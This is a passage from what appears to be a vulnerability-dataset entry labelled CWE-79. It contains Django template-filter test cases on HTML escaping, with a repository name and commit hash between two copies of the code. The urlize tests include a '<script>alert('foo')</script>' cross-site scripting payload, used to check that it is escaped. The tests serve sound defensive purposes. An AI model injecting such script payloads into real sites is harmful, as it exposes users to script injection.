        'filter-phone2numeric02': ('{% autoescape off %}{{ a|phone2numeric }} {{ b|phone2numeric }}{% endautoescape %}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""<1-800-2255-63> <1-800-2255-63>""),
        'filter-phone2numeric03': ('{{ a|phone2numeric }}', {""a"": ""How razorback-jumping frogs can level six piqued gymnasts!""}, ""469 729672225-5867464 37647 226 53835 749 747833 49662787!""),

        # Ensure iriencode keeps safe strings:
        'filter-iriencode01': ('{{ url|iriencode }}', {'url': '?test=1&me=2'}, '?test=1&amp;me=2'),
        'filter-iriencode02': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': '?test=1&me=2'}, '?test=1&me=2'),
        'filter-iriencode03': ('{{ url|iriencode }}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),
        'filter-iriencode04': ('{% autoescape off %}{{ url|iriencode }}{% endautoescape %}', {'url': mark_safe('?test=1&me=2')}, '?test=1&me=2'),

        # urlencode
        'filter-urlencode01': ('{{ url|urlencode }}', {'url': '/test&""/me?/'}, '/test%26%22/me%3F/'),
        'filter-urlencode02': ('/test/{{ urlbit|urlencode:"""" }}/', {'urlbit': 'escape/slash'}, '/test/escape%2Fslash/'),

        # Chaining a bunch of safeness-preserving filters should not alter
        # the safe status either way.
        'chaining01': ('{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A &lt; b . A < b ""),
        'chaining02': ('{% autoescape off %}{{ a|capfirst|center:""7"" }}.{{ b|capfirst|center:""7"" }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, "" A < b . A < b ""),

        # Using a filter that forces a string back to unsafe:
        'chaining03': ('{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A &lt; .A < ""),
        'chaining04': ('{% autoescape off %}{{ a|cut:""b""|capfirst }}.{{ b|cut:""b""|capfirst }}{% endautoescape %}', {""a"": ""a < b"", ""b"": mark_safe(""a < b"")}, ""A < .A < ""),

        # Using a filter that forces safeness does not lead to double-escaping
        'chaining05': ('{{ a|escape|capfirst }}', {""a"": ""a < b""}, ""A &lt; b""),
        'chaining06': ('{% autoescape off %}{{ a|escape|capfirst }}{% endautoescape %}', {""a"": ""a < b""}, ""A &lt; b""),

        # Force to safe, then back (also showing why using force_escape too
        # early in a chain can lead to unexpected results).
        'chaining07': ('{{ a|force_escape|cut:"";"" }}', {""a"": ""a < b""}, ""a &amp;lt b""),
        'chaining08': ('{% autoescape off %}{{ a|force_escape|cut:"";"" }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt b""),
        'chaining09': ('{{ a|cut:"";""|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining10': ('{% autoescape off %}{{ a|cut:"";""|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining11': ('{{ a|cut:""b""|safe }}', {""a"": ""a < b""}, ""a < ""),
        'chaining12': ('{% autoescape off %}{{ a|cut:""b""|safe }}{% endautoescape %}', {""a"": ""a < b""}, ""a < ""),
        'chaining13': ('{{ a|safe|force_escape }}', {""a"": ""a < b""}, ""a &lt; b""),
        'chaining14': ('{% autoescape off %}{{ a|safe|force_escape }}{% endautoescape %}', {""a"": ""a < b""}, ""a &lt; b""),

        # Filters decorated with stringfilter still respect is_safe.
        'autoescape-stringfilter01': (r'{{ unsafe|capfirst }}', {'unsafe': UnsafeClass()}, 'You &amp; me'),
        'autoescape-stringfilter02': (r'{% autoescape off %}{{ unsafe|capfirst }}{% endautoescape %}', {'unsafe': UnsafeClass()}, 'You & me'),
        'autoescape-stringfilter03': (r'{{ safe|capfirst }}', {'safe': SafeClass()}, 'You &gt; me'),
        'autoescape-stringfilter04': (r'{% autoescape off %}{{ safe|capfirst }}{% endautoescape %}', {'safe': SafeClass()}, 'You &gt; me'),

        'escapejs01': (r'{{ a|escapejs }}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),
        'escapejs02': (r'{% autoescape off %}{{ a|escapejs }}{% endautoescape %}', {'a': 'testing\r\njavascript \'string"" <b>escaping</b>'}, 'testing\\u000D\\u000Ajavascript \\u0027string\\u0022 \\u003Cb\\u003Eescaping\\u003C/b\\u003E'),


        # length filter.
        'length01': ('{{ list|length }}', {'list': ['4', None, True, {}]}, '4'),
        'length02': ('{{ list|length }}', {'list': []}, '0'),
        'length03': ('{{ string|length }}', {'string': ''}, '0'),
        'length04': ('{{ string|length }}', {'string': 'django'}, '6'),
        # Invalid uses that should fail silently.
        'length05': ('{{ int|length }}', {'int': 7}, ''),
        'length06': ('{{ None|length }}', {'None': None}, ''),

        # length_is filter.
        'length_is01': ('{% if some_list|length_is:""4"" %}Four{% endif %}', {'some_list': ['4', None, True, {}]}, 'Four'),
        'length_is02': ('{% if some_list|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'some_list': ['4', None, True, {}, 17]}, 'Not Four'),
        'length_is03': ('{% if mystring|length_is:""4"" %}Four{% endif %}', {'mystring': 'word'}, 'Four'),
        'length_is04': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': 'Python'}, 'Not Four'),
        'length_is05': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': ''}, 'Not Four'),
        'length_is06': ('{% with var|length as my_length %}{{ my_length }}{% endwith %}', {'var': 'django'}, '6'),
        # Boolean return value from length_is should not be coerced to a string
        'length_is07': (r'{% if ""X""|length_is:0 %}Length is 0{% else %}Length not 0{% endif %}', {}, 'Length not 0'),
        'length_is08': (r'{% if ""X""|length_is:1 %}Length is 1{% else %}Length not 1{% endif %}', {}, 'Length is 1'),
        # Invalid uses that should fail silently.
        'length_is09': ('{{ var|length_is:""fish"" }}', {'var': 'django'}, ''),
        'length_is10': ('{{ int|length_is:""1"" }}', {'int': 7}, ''),
        'length_is11': ('{{ none|length_is:""1"" }}', {'none': None}, ''),

        'join01': (r'{{ a|join:"", "" }}', {'a': ['alpha', 'beta & me']}, 'alpha, beta &amp; me'),
        'join02': (r'{% autoescape off %}{{ a|join:"", "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha, beta & me'),
        'join03': (r'{{ a|join:"" &amp; "" }}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta &amp; me'),
        'join04': (r'{% autoescape off %}{{ a|join:"" &amp; "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta & me'),

        # Test that joining with unsafe joiners don't result in unsafe strings (#11377)
        'join05': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join06': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),
        'join07': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join08': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),

        'date01': (r'{{ d|date:""m"" }}', {'d': datetime(2008, 1, 1)}, '01'),
        'date02': (r'{{ d|date }}', {'d': datetime(2008, 1, 1)}, 'Jan. 1, 2008'),
        #Ticket 9520: Make sure |date doesn't blow up on non-dates
        'date03': (r'{{ d|date:""m"" }}', {'d': 'fail_string'}, ''),
        # ISO date formats
        'date04': (r'{{ d|date:""o"" }}', {'d': datetime(2008, 12, 29)}, '2009'),
        'date05': (r'{{ d|date:""o"" }}', {'d': datetime(2010, 1, 3)}, '2009'),
        # Timezone name
        'date06': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12, tzinfo=timezone.get_fixed_timezone(30))}, '+0030'),
        'date07': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12)}, ''),
        # Ticket 19370: Make sure |date doesn't blow up on a midnight time object
        'date08': (r'{{ t|date:""H:i"" }}', {'t': time(0, 1)}, '00:01'),
        'date09': (r'{{ t|date:""H:i"" }}', {'t': time(0, 0)}, '00:00'),
        # Ticket 20693: Add timezone support to built-in time template filter
        'time01': (r'{{ dt|time:""e:O:T:Z"" }}', {'dt': now_tz_i}, '+0315:+0315:+0315:11700'),
        'time02': (r'{{ dt|time:""e:T"" }}', {'dt': now}, ':' + now_tz.tzinfo.tzname(now_tz)),
        'time03': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))}, '4 a.m.::::'),
        'time04': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0)}, '4 a.m.::::'),
        'time05': (r'{{ d|time:""P:e:O:T:Z"" }}', {'d': today}, ''),
        'time06': (r'{{ obj|time:""P:e:O:T:Z"" }}', {'obj': 'non-datetime-value'}, ''),

        # Tests for #11687 and #16676
        'add01': (r'{{ i|add:""5"" }}', {'i': 2000}, '2005'),
        'add02': (r'{{ i|add:""napis"" }}', {'i': 2000}, ''),
        'add03': (r'{{ i|add:16 }}', {'i': 'not_an_int'}, ''),
        'add04': (r'{{ i|add:""16"" }}', {'i': 'not_an_int'}, 'not_an_int16'),
        'add05': (r'{{ l1|add:l2 }}', {'l1': [1, 2], 'l2': [3, 4]}, '[1, 2, 3, 4]'),
        'add06': (r'{{ t1|add:t2 }}', {'t1': (3, 4), 't2': (1, 2)}, '(3, 4, 1, 2)'),
        'add07': (r'{{ d|add:t }}', {'d': date(2000, 1, 1), 't': timedelta(10)}, 'Jan. 11, 2000'),
    }",CWE-79,django/django,9d740eb8b15de31f1c5520659df683d90342bb44,"def get_filter_tests():
    now = datetime.now()
    now_tz = timezone.make_aware(now, timezone.get_default_timezone())
    now_tz_i = timezone.localtime(now_tz, timezone.get_fixed_timezone(195))
    today = date.today()

    # NOTE: \xa0 avoids wrapping between value and unit
    return {
        # Default compare with datetime.now()
        'filter-timesince01' : ('{{ a|timesince }}', {'a': datetime.now() + timedelta(minutes=-1, seconds = -10)}, '1\xa0minute'),
        'filter-timesince02' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(days=1, minutes = 1)}, '1\xa0day'),
        'filter-timesince03' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(hours=1, minutes=25, seconds = 10)}, '1\xa0hour, 25\xa0minutes'),

        # Compare to a given parameter
        'filter-timesince04' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=1)}, '1\xa0day'),
        'filter-timesince05' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2, minutes=1), 'b':now - timedelta(days=2)}, '1\xa0minute'),

        # Check that timezone is respected
        'filter-timesince06' : ('{{ a|timesince:b }}', {'a':now_tz - timedelta(hours=8), 'b':now_tz}, '8\xa0hours'),

        # Regression for #7443
        'filter-timesince07': ('{{ earlier|timesince }}', {'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince08': ('{{ earlier|timesince:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince09': ('{{ later|timesince }}', {'later': now + timedelta(days=7)}, '0\xa0minutes'),
        'filter-timesince10': ('{{ later|timesince:now }}', {'now': now, 'later': now + timedelta(days=7)}, '0\xa0minutes'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timesince11' : ('{{ a|timesince }}', {'a': now}, '0\xa0minutes'),
        'filter-timesince12' : ('{{ a|timesince }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince13' : ('{{ a|timesince }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince14' : ('{{ a|timesince:b }}', {'a': now_tz, 'b': now_tz_i}, '0\xa0minutes'),
        'filter-timesince15' : ('{{ a|timesince:b }}', {'a': now, 'b': now_tz_i}, ''),
        'filter-timesince16' : ('{{ a|timesince:b }}', {'a': now_tz_i, 'b': now}, ''),

        # Regression for #9065 (two date objects).
        'filter-timesince17' : ('{{ a|timesince:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timesince18' : ('{{ a|timesince:b }}', {'a': today, 'b': today + timedelta(hours=24)}, '1\xa0day'),

        # Default compare with datetime.now()
        'filter-timeuntil01' : ('{{ a|timeuntil }}', {'a':datetime.now() + timedelta(minutes=2, seconds = 10)}, '2\xa0minutes'),
        'filter-timeuntil02' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(days=1, seconds = 10))}, '1\xa0day'),
        'filter-timeuntil03' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(hours=8, minutes=10, seconds = 10))}, '8\xa0hours, 10\xa0minutes'),

        # Compare to a given parameter
        'filter-timeuntil04' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=1), 'b':now - timedelta(days=2)}, '1\xa0day'),
        'filter-timeuntil05' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=2, minutes=1)}, '1\xa0minute'),

        # Regression for #7443
        'filter-timeuntil06': ('{{ earlier|timeuntil }}', {'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil07': ('{{ earlier|timeuntil:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil08': ('{{ later|timeuntil }}', {'later': now + timedelta(days=7, hours=1)}, '1\xa0week'),
        'filter-timeuntil09': ('{{ later|timeuntil:now }}', {'now': now, 'later': now + timedelta(days=7)}, '1\xa0week'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timeuntil10' : ('{{ a|timeuntil }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil11' : ('{{ a|timeuntil }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil12' : ('{{ a|timeuntil:b }}', {'a': now_tz_i, 'b': now_tz}, '0\xa0minutes'),

        # Regression for #9065 (two date objects).
        'filter-timeuntil13' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timeuntil14' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today - timedelta(hours=24)}, '1\xa0day'),

        'filter-addslash01': (""{% autoescape off %}{{ a|addslashes }} {{ b|addslashes }}{% endautoescape %}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""<a>\' <a>\'""),
        'filter-addslash02': (""{{ a|addslashes }} {{ b|addslashes }}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""&lt;a&gt;\&#39; <a>\'""),

        'filter-capfirst01': (""{% autoescape off %}{{ a|capfirst }} {{ b|capfirst }}{% endautoescape %}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred> Fred&gt;""),
        'filter-capfirst02': (""{{ a|capfirst }} {{ b|capfirst }}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred&gt; Fred&gt;""),

        # Note that applying fix_ampsersands in autoescape mode leads to
        # double escaping.
        'filter-fix_ampersands01': (""{% autoescape off %}{{ a|fix_ampersands }} {{ b|fix_ampersands }}{% endautoescape %}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;b a&amp;b""),
        'filter-fix_ampersands02': (""{{ a|fix_ampersands }} {{ b|fix_ampersands }}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;amp;b a&amp;b""),

        'filter-floatformat01': (""{% autoescape off %}{{ a|floatformat }} {{ b|floatformat }}{% endautoescape %}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),
        'filter-floatformat02': (""{{ a|floatformat }} {{ b|floatformat }}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),

        # The contents of ""linenumbers"" is escaped according to the current
        # autoescape setting.
        'filter-linenumbers01': (""{{ a|linenumbers }} {{ b|linenumbers }}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. &lt;two&gt;\n3. three 1. one\n2. &lt;two&gt;\n3. three""),
        'filter-linenumbers02': (""{% autoescape off %}{{ a|linenumbers }} {{ b|linenumbers }}{% endautoescape %}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. <two>\n3. three 1. one\n2. &lt;two&gt;\n3. three""),

        'filter-lower01': (""{% autoescape off %}{{ a|lower }} {{ b|lower }}{% endautoescape %}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple & banana apple &amp; banana""),
        'filter-lower02': (""{{ a|lower }} {{ b|lower }}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple &amp; banana apple &amp; banana""),

        # The make_list filter can destroy existing escaping, so the results are
        # escaped.
        'filter-make_list01': (""{% autoescape off %}{{ a|make_list }}{% endautoescape %}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list02': (""{{ a|make_list }}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s&#39;&amp;&#39;]"")),
        'filter-make_list03': ('{% autoescape off %}{{ a|make_list|stringformat:""s""|safe }}{% endautoescape %}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list04': ('{{ a|make_list|stringformat:""s""|safe }}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),

        # Running slugify on a pre-escaped string leads to odd behavior,
        # but the result is still safe.
        'filter-slugify01': (""{% autoescape off %}{{ a|slugify }} {{ b|slugify }}{% endautoescape %}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),
        'filter-slugify02': (""{{ a|slugify }} {{ b|slugify }}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),

        # Notice that escaping is applied *after* any filters, so the string
        # formatting here only needs to deal with pre-escaped characters.
        'filter-stringformat01': ('{% autoescape off %}.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.{% endautoescape %}',
            {""a"": ""a<b"", ""b"": mark_safe(""a<b"")}, "".  a<b. .  a<b.""),
        'filter-stringformat02': ('.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.', {""a"": ""a<b"", ""b"": mark_safe(""a<b"")},
            "".  a&lt;b. .  a<b.""),

        # Test the title filter
        'filter-title1' : ('{{ a|title }}', {'a' : 'JOE\'S CRAB SHACK'}, 'Joe&#39;s Crab Shack'),
        'filter-title2' : ('{{ a|title }}', {'a' : '555 WEST 53RD STREET'}, '555 West 53rd Street'),

        'filter-truncatewords01': ('{% autoescape off %}{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}{% endautoescape %}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha & ... alpha &amp; ...""),
        'filter-truncatewords02': ('{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha &amp; ... alpha &amp; ...""),

        'filter-truncatechars01': ('{{ a|truncatechars:5 }}', {'a': ""Testing, testing""}, ""Te...""),
        'filter-truncatechars02': ('{{ a|truncatechars:7 }}', {'a': ""Testing""}, ""Testing""),

        # The ""upper"" filter messes up entities (which are case-sensitive),
        # so it's not safe for non-escaping purposes.
        'filter-upper01': ('{% autoescape off %}{{ a|upper }} {{ b|upper }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A & B A &AMP; B""),
        'filter-upper02': ('{{ a|upper }} {{ b|upper }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A &amp; B A &amp;AMP; B""),

        'filter-urlize01': ('{% autoescape off %}{{ a|urlize }} {{ b|urlize }}{% endautoescape %}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&y="" rel=""nofollow"">http://example.com/?x=&y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize02': ('{{ a|urlize }} {{ b|urlize }}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&amp;y="" rel=""nofollow"">http://example.com/?x=&amp;y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize03': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),
        'filter-urlize04': ('{{ a|urlize }}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),

        # This will lead to a nonsense result, but at least it won't be
        # exploitable for XSS purposes when auto-escaping is on.
        'filter-urlize05': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": ""<script>alert('foo')</script>""}, ""<script>alert('foo')</script>""),
        'filter-urlize06': ('{{ a|urlize }}', {""a"": ""<script>alert('foo')</script>""}, '&lt;script&gt;alert(&#39;foo&#39;)&lt;/script&gt;'),

        # mailto: testing for urlize
        'filter-urlize07': ('{{ a|urlize }}', {""a"": ""Email me at me@example.com""}, 'Email me at <a href=""mailto:me@example.com"">me@example.com</a>'),
        'filter-urlize08': ('{{ a|urlize }}', {""a"": ""Email me at <me@example.com>""}, 'Email me at &lt;<a href=""mailto:me@example.com"">me@example.com</a>&gt;'),

        'filter-urlizetrunc01': ('{% autoescape off %}{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}{% endautoescape %}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '""Unsafe"" <a href=""http://example.com/x=&y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),
        'filter-urlizetrunc02': ('{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '&quot;Unsafe&quot; <a href=""http://example.com/x=&amp;y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),

        'filter-wordcount01': ('{% autoescape off %}{{ a|wordcount }} {{ b|wordcount }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),
        'filter-wordcount02': ('{{ a|wordcount }} {{ b|wordcount }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),

        'filter-wordwrap01': ('{% autoescape off %}{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &\nb a &\nb""),
        'filter-wordwrap02': ('{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &amp;\nb a &\nb""),

        'filter-ljust01': ('{% autoescape off %}.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&b  . .a&b  .""),
        'filter-ljust02': ('.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&amp;b  . .a&b  .""),

        'filter-rjust01': ('{% autoescape off %}.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&b. .  a&b.""),
        'filter-rjust02': ('.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&amp;b. .  a&b.""),

        'filter-center01': ('{% autoescape off %}.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&b . . a&b .""),
        'filter-center02': ('.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&amp;b . . a&b .""),

        'filter-cut01': ('{% autoescape off %}{{ a|cut:""x"" }} {{ b|cut:""x"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&y &amp;y""),
        'filter-cut02': ('{{ a|cut:""x"" }} {{ b|cut:""x"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&amp;y &amp;y""),
        'filter-cut03': ('{% autoescape off %}{{ a|cut:""&"" }} {{ b|cut:""&"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        'filter-cut04': ('{{ a|cut:""&"" }} {{ b|cut:""&"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        # Passing ';' to cut can break existing HTML entities, so those strings
        # are auto-escaped.
        'filter-cut05': ('{% autoescape off %}{{ a|cut:"";"" }} {{ b|cut:"";"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&y x&ampy""),
        'filter-cut06': ('{{ a|cut:"";"" }} {{ b|cut:"";"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&amp;y x&amp;ampy""),

        # The ""escape"" filter works the same whether autoescape is on or off,
        # but it has no effect on strings already marked as safe.
        'filter-escape01': ('{{ a|escape }} {{ b|escape }}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),
        'filter-escape02': ('{% autoescape off %}{{ a|escape }} {{ b|escape }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),

        # It is only applied once, regardless of the number of times it
        # appears in a chain.
        'filter-escape03': ('{% autoescape off %}{{ a|escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-escape04': ('{{ a|escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # Force_escape is applied immediately. It can be used to provide
        # double-escaping, for example.
        'filter-force-escape01': ('{% autoescape off %}{{ a|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape02': ('{{ a|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape03': ('{% autoescape off %}{{ a|force_escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;amp;y""),
        'filter-force-escape04': ('{{ a|force_escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;amp;y""),

        # Because the result of force_escape is ""safe"", an additional
        # escape filter has no effect.
        'filter-force-escape05': ('{% autoescape off %}{{ a|force_escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape06': ('{{ a|force_escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape07': ('{% autoescape off %}{{ a|escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape08': ('{{ a|escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # The contents in ""linebreaks"" and ""linebreaksbr"" are escaped
        # according to the current autoescape setting.
        'filter-linebreaks01': ('{{ a|linebreaks }} {{ b|linebreaks }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&amp;<br />y</p> <p>x&<br />y</p>""),
        'filter-linebreaks02': ('{% autoescape off %}{{ a|linebreaks }} {{ b|linebreaks }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&<br />y</p> <p>x&<br />y</p>""),

        'filter-linebreaksbr01': ('{{ a|linebreaksbr }} {{ b|linebreaksbr }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&amp;<br />y x&<br />y""),
        'filter-linebreaksbr02': ('{% autoescape off %}{{ a|linebreaksbr }} {{ b|linebreaksbr }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&<br />y x&<br />y""),

        'filter-safe01': (""{{ a }} -- {{ a|safe }}"", {""a"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt; -- <b>hello</b>""),
        'filter-safe02': (""{% autoescape off %}{{ a }} -- {{ a|safe }}{% endautoescape %}"", {""a"": ""<b>hello</b>""}, ""<b>hello</b> -- <b>hello</b>""),

        'filter-safeseq01': ('{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}', {""a"": [""&"", ""<""]}, ""&amp;, &lt; -- &, <""),
        'filter-safeseq02': ('{% autoescape off %}{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}{% endautoescape %}', {""a"": [""&"", ""<""]}, ""&, < -- &, <""),

